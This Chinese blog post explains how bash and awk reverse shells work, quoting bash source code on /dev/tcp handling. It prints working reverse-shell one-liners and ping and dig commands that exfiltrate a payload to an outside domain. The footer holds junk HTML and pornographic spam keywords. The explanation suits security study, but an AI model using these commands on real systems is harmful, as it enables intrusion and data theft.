<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Reverse Shell 雜談

          共 3360字,需瀏覽 7分鐘

           ·

          2021-04-25 13:52

          前言

          昨天有個小伙伴在群里問在 macOS 下如何實現(xiàn) bash 反彈 shell,因為 Mac 中沒有 /dev/tcp 目錄。借著這個問題,就來簡單談談反彈 shell 的那些事。

          從 bash 說起

          可能大家都用過 bash 反彈 shell:

          bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

          關于重定向部分很多文章有介紹了,但是 /dev 部分卻鮮有提及。很多人以為 /dev/tcp/host/port 是 Linux 內(nèi)核提供的一個 devfs[1] (或者 udev[2]),曾經(jīng)我也是這么認為的,但實際上上面的命令在 macOS 甚至 Windows 也可以成功執(zhí)行,顯然這些系統(tǒng)中并不存在 /dev/tcp/ 之類的路徑。

          WHY?

          原因很簡單,因為這是 bash 本身提供的功能。其代碼實現(xiàn)在 bash/redir.c 中:

          /* A list of pattern/value pairs for filenames that the redirection   code handles specially. */static STRING_INT_ALIST _redir_special_filenames[] = {#if !defined (HAVE_DEV_FD)  { "/dev/fd/[0-9]*", RF_DEVFD },#endif#if !defined (HAVE_DEV_STDIN)  { "/dev/stderr", RF_DEVSTDERR },  { "/dev/stdin", RF_DEVSTDIN },  { "/dev/stdout", RF_DEVSTDOUT },#endif#if defined (NETWORK_REDIRECTIONS)  { "/dev/tcp/*/*", RF_DEVTCP },  { "/dev/udp/*/*", RF_DEVUDP },#endif  { (char *)NULL, -1 }};static intredir_special_open (spec, filename, flags, mode, ri)     int spec;     char *filename;     int flags, mode;     enum r_instruction ri;{  // ...#if defined (NETWORK_REDIRECTIONS)    case RF_DEVTCP:    case RF_DEVUDP:#if defined (RESTRICTED_SHELL)      if (restricted)    return (RESTRICTED_REDIRECT);#endif#if defined (HAVE_NETWORK)      fd = netopen (filename);#else}

          而 netopen 函數(shù)則定義在 bash/lib/sh/netopen.c 中:

          /* * Open a TCP or UDP connection given a path like `/dev/tcp/host/port' to * host `host' on port `port' and return the connected socket. */intnetopen (path)     char *path;{  char *np, *s, *t;  int fd;  np = (char *)xmalloc (strlen (path) + 1);  strcpy (np, path);  s = np + 9;  t = strchr (s, '/');  if (t == 0)    {      internal_error (_("%s: bad network path specification"), path);      free (np);      return -1;    }  *t++ = '\0';  fd = _netopen (s, t, path[5]);  free (np);  return fd;}/* * Open a TCP or UDP connection to HOST on port SERV.  Uses getaddrinfo(3) * if available, falling back to the traditional BSD mechanisms otherwise. * Returns the connected socket or -1 on error. */static int _netopen(host, serv, typ)     char *host, *serv;     int typ;{#ifdef HAVE_GETADDRINFO  return (_netopen6 (host, serv, typ));#else  return (_netopen4 (host, serv, typ));#endif}

          因此,這實際上只是對 /dev/{tcp,udp} 開頭的文件進行字符串解析并根據(jù)解析結果建立網(wǎng)絡連接,并沒有涉及到具體的操作系統(tǒng)。如果解析失敗,比如字段數(shù)量不正?;蛘邊f(xié)議不正確,才會回退到 open(2) 操作,即指定路徑當做常規(guī)文件處理。

          awk

          當然,bash 并不是唯一實現(xiàn)了這種根據(jù)路徑指定網(wǎng)絡連接的功能,比如常見的 awk 一句話反彈 shell:

          awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

          awk: bash摸得,我摸不得?

          在編寫本文時最新的代碼實現(xiàn)在 io.c 中,片段如下所示:

          awk.png

          與 bash 的連接相比,awk 的實現(xiàn)增加了更多功能,可以指定 IPv4/IPv6,以及指定綁定的本地端口。

          小結

          在最初接觸滲透測試的時候,喜歡收集各種一句話反彈 shell,其實并不必要,因為看多了就會知道其本質(zhì)是一樣的,在實際進行漏洞(比如命令注入)時,通常就是有什么用什么,只要能夠?qū)崿F(xiàn)目的即可,比如讀取本地文件后,可以通過很多命令傳輸?shù)焦粽咛帲热?

          ?用 ICMP 攜帶 payload: ping -p payload evilpan.com?用 DNS 請求攜帶 paylaod,也就是常說的 DNSLog: dig @1.2.3.4 -p 5333 -t A payload.evilpan.com?...

          換言之,reverse shell 的本質(zhì)只是: connect、read、execwrite、repeat,從本質(zhì)出發(fā),也就能發(fā)現(xiàn)更多紅隊的所謂奇淫技巧了。

          引用鏈接

          [1] devfs: https://tldp.org/HOWTO/SCSI-2.4-HOWTO/devfs.html
          [2] udev: http://en.wikipedia.org/wiki/Udev


          瀏覽 55
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  大鸡巴操小骚逼 | 国语屄亚洲 | 亚洲天堂网在线视频 | 欧美视频一区二区三区四区五区 | 男生女生操逼国产激情AV国产 |